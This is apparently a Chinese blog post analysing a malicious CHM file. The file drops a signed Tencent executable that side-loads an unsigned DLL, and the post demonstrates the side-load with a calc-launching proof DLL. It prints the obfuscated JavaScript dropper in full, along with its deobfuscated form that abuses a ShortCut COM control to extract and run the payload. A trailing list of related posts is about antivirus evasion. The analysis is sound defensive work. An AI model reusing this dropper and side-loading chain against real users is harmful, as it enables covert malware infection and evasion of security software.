最近有一个网友发给我一个QQ图20190427141352.chm的文件,让我看看是不是木马。根据经验,这种CHM一般都是里面有个html文件,通过js调用com控件,然后间接执行释放出来的木马文件。

使用7z打开这个chm文件,可以看到里面果然有一些exe文件以及dll文件。

双击执行这个chm文件后,果然里面的PcOL.exe被执行了

经过分析这个exe可不简单,不但有腾讯有效数字签名,还被添加到了启动项HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Temp

注意一下这个文件的路径是在C:\Users\Public\Downloads\desktop\PcOL.exe下面


因此判断多数是白利用,利用腾讯正规签名程序加载恶意的dll文件执行,使用Procexp查看该进程加载的模块信息,果然发现一个未签名的DLL文件:
C:\Users\Public\Downloads\desktop\HummerEngine.dll 这个文件也是刚才双击运行chm文件时释放出来的。

使用IDA分析简单看了下该文件,有个导出函数:RunQQHummerEngine

该函数内部有个函数用来添加启动项,另一个函数用来执行其他功能。

为了测试,我编写了一个DLL文件,并导出一个名为RunQQHummerEngine的函数,在函数中打开计算器进程。

#include "stdafx.h"EXTERN_C  _declspec(dllexport) void RunQQHummerEngine()
{WinExec("calc.exe", SW_SHOW);
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved )
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

把这几个文件放在一起:
PcOL.exe
libtcmalloc.dll
HummerEngine.dll
运行PcOL.exe,弹出了计算器,我的360安全卫士并无任何提示。

接下来CHM文件是怎么释放这些exe和dll并成功执行PcOL.exe的,使用7z解压CHM文件后,打开里面的PoCL.htm文件

光看html文件,并无明显的恶意代码特征,很明显猫腻就在这段js里面,这段js经过压缩混淆后,传入eval函数。
eval函数是js内置函数,传入的字符串参数会当做js代码来执行。

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('f I(){}f U(){8 9=V W();9.13="C:\\\\d\\\\h\\\\e\\\\i\\\\11.12";T(9.15>0||(9.b>0&&9.c>0)){O H}E{O Z}}f K(){8 s=G.14;8 7=s.10(":");k 7[7.p-1];k 7[1];k 7[0];8 6=7.Y(":");6=6.X(2,6.p-2);6=6.1f(/%1e/g," ");8 P=\'<a r=x m="o:n-A-w-v-q" b=1 c=1>\'+\'<4 5="t" 3="u">\'+\'<4 5="B" 3="Q::D">\'+\'<4 5="z" 3=",1i.l,-1h C:\\\\d\\\\h\\\\e\\\\i \'+6+\'">\'+\'<4 5="R" 3="S,1,1">\'+\'</a>\'+\'<a r=y m="o:n-A-w-v-q" b=1 c=1>\'+\'<4 5="t" 3="u">\'+\'<4 5="B" 3="Q::D">\'+\'<4 5="z" 3=",17.l,C:\\\\d\\\\h\\\\e\\\\i\\\\19.l">\'+\'<4 5="R" 3="S,1,1">\'+\'</a>\';M.N(\'L\').1c=P;T(U()==H){x.F();j.J("I()",1a);j.G.1b()}E{y.F();M.N(\'L\').16.1g=\'1d\'}}j.J("K()",18);',62,81,'|||value|PARAM|name|dir|arr|var|ImgObj|OBJECT|width|height|Users|Downloads|function||Public|desktop|window|delete|exe|classid|adb880a6|clsid|length|00aa003b7a11|id|str|Command|ShortCut|9377|11cf|||Item1|d8ff|Button||shortcut|else|Click|location|true|cwaitfuntime|setTimeout|cwaitfun|tt|document|getElementById|return|commodStr|Bitmap|Item2|273|if|isHasImg|new|Image|substring|join|false|split|img|jpg|src|href|fileSize|style|explorer|128|PcOL|1000|reload|innerHTML|none|20|replace|display|decompile|hh'.split('|'),0,{}))

知道他传入的参数是一段字符串,我们可以拷贝出来,把eval换成console.log,这样就可以打印出来这段js代码的真实模样了。

拿到js还原后的代码后,可以在https://lelinhtinh.github.io/de4js/这个网站在线格式化一下,看起来舒服一点

function cwaitfuntime() {}
function isHasImg() {var ImgObj = new Image();ImgObj.src = "C:\\Users\\Public\\Downloads\\desktop\\img.jpg";if (ImgObj.fileSize > 0 || (ImgObj.width > 0 && ImgObj.height > 0)) {return true} else {return false}
}
function cwaitfun() {var str = location.href;var arr = str.split(":");delete arr[arr.length - 1];delete arr[1];delete arr[0];var dir = arr.join(":");dir = dir.substring(2, dir.length - 2);dir = dir.replace(/%20/g, " ");var commodStr = '<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",hh.exe,-decompile C:\\Users\\Public\\Downloads\\desktop ' + dir + '">' + '<PARAM name="Item2" value="273,1,1">' + '</OBJECT>' + '<OBJECT id=y classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",explorer.exe,C:\\Users\\Public\\Downloads\\desktop\\PcOL.exe">' + '<PARAM name="Item2" value="273,1,1">' + '</OBJECT>';document.getElementById('tt').innerHTML = commodStr;if (isHasImg() == true) {x.Click();window.setTimeout("cwaitfuntime()", 1000);window.location.reload()} else {y.Click();document.getElementById('tt').style.display = 'none'}
}
window.setTimeout("cwaitfun()", 128);

可以看到是利用com控件clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11,双击时就会执行以下两条命令:

0)'<PARAM name="Item1" value=",hh.exe,-decompile C:\\Users\\Public\\Downloads\\desktop ' + dir + '"> 释放到用户公用目录下
1) <PARAM name="Item1" value=",explorer.exe,C:\\Users\\Public\\Downloads\\desktop\\PcOL.exe"> 利用exolorer执行qq白利用

关于这个CHM利用这个adb880a6-d8ff-11cf-9377-00aa003b7a11COM控件,网上已经有很多例子了,只不过这个样本利用脚本变化莫测的特性,做了混淆免杀处理。。

此时,我有一个大胆的想法,既然都可以利用chm执行js了,那为何不直接内嵌和.net的dll来反射注入呢?

具体做法,可以参考一下我这篇文章《一次红蓝对抗无文件攻击溯源》

chm混淆+qq白利用免杀360主动防御相关推荐

  1. 利用nps_payload 免杀360,腾讯电脑管家

    利用nps_payload 免杀360,腾讯电脑管家 一.nps_payload介绍 nps_payload是2017年开源的工具,安装使用都比较简单,nps_payload可以生成基于msbuild ...

  2. Veil+tdm-gcc免杀360火绒瑞星

    Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,还能利用Metasploit框架生成相兼容的Payload工具,从而逃避 ...

  3. 冰蝎利用免杀webshell链接,反弹shell(附免杀webshell和工具)

    前言: 冰蝎简单说就是利用动态二进制加密实现新型一句话木马的客户端 , 相对于菜刀和蚁剑他的数据是加密传输的,所以不容易被一些防火墙发现. 环境: 我们这里需要的是java环境,版本的话最好就是安装J ...

  4. 【工具分享】免杀360火绒的shellcode加载器

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 1. 免杀效果 该shellcode加载器目前可以过360&火绒,Windows Defender没戏... 代码和思路暂不开源! 你可以在我的 ...

  5. 免杀Bypass!可过WDF/360/火绒的C#混淆器

    0x01 工具简介 这次分享的是一个可用于免杀过WDF/360/火绒的C#混淆器,但只能混淆.Net Framework应用程序.作者写这个工具主要是为了了解更多关于 C# 和混淆器的工作原理. 关注 ...

  6. Python免杀火绒、360和Defender

    目录 简介 环境 原理 加载ShellCode 定位特征码 Base64编码绕过 简介 之前学习免杀都是使用Metasploit自带的编码进行,从未成功过.也使用过GitHub上别人提供的免杀方法,最 ...

  7. 远控免杀从入门到实践(1):基础篇

    郑重声明 1.文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 2.文中提到的杀软检测指标是 virustotal.com(简称 ...

  8. Windows下免杀思路总结

    1.简介 在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长.好用新兴的开源项目在短时间内就被分析并加入特征库.笔者调研了部分开源项目,其中也有项目做了类似的分析 [1],目前能够免杀的项目初 ...

  9. Python shellcode免杀

    浅谈Python shellcode免杀 一.前言 在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长.很多师傅好用的开源免杀项目公布出来的同时几乎也就意味它的失效,对于一些和我一样对系统底 ...

  10. MSF外网渗透+shellcode免杀

    1. 内网穿透 使用的Sunny-Ngrok服务 .你在Sunny-Ngrok官网注册好后获得一条免费或付费的隧道,添加tcp通道,端口号自定. 官网链接:https://www.ngrok.cc/( ...

最新文章

  1. 一条正确的Java职业生涯规划,从理论到实践!
  2. RAP、Mock.js、Vue.js、Webpack
  3. GlusterFS下如何修复裂脑文件?
  4. 第四十五课:MVC,MVP,MVVM的区别
  5. mysql创建用户以及授权
  6. java误解问题_关于Java的10个误解
  7. 【风马一族_php】NO4_php基础知识
  8. 面向对象的代码生成方法
  9. cubemx串口的发送与接收_串口收发模块设计
  10. 【ElasticSearch】Es 源码之 LifecycleComponent 源码解读
  11. [BZOJ]3727: PA2014 Final Zadanie
  12. 菜鸟译文(二)——使用Java泛型构造模板方法模式
  13. tf.nn的conv2d卷积与max_pool池化
  14. 浅谈ThreadPoolExecutor线程池底层源码
  15. android6.0 goldfish内核,ubuntu16.04下编译android-goldfish-3.4内核源码(android6.0.1系统源代码)...
  16. 计算机如何分割硬盘,电脑硬盘怎么分区 电脑硬盘分区方法大全
  17. Spark的lazy特性有什么意义呢?
  18. [篇二章六]_关于 Windows 11 处于通知状态
  19. 关于MacBook蓝牙键盘鼠标耳机等设备各种的卡顿、黏滞、断开连接等各种问题解决方案
  20. 一致性算法之Raft算法

热门文章

  1. 微分方程_e的矩阵指数
  2. IntelliJ Idea 向上/下插入空行快捷键
  3. 【Proteus】单片机H桥驱动24V直流有刷电机
  4. 校园wifi免费上网
  5. mysql c盘 越来越大_c盘分区太大怎么调整
  6. VC++信息安全编程(14)PNP溢出代码漏洞扫描检测
  7. android+自定义跑马灯,android自定义View实现跑马灯效果
  8. Java 获取PDF数字签名证书信息
  9. 牛客网算法之洗牌详解
  10. 计算机exsl表f4代表锁定,(Excel中F4是什么键)笔记本锁定单元格f4怎么按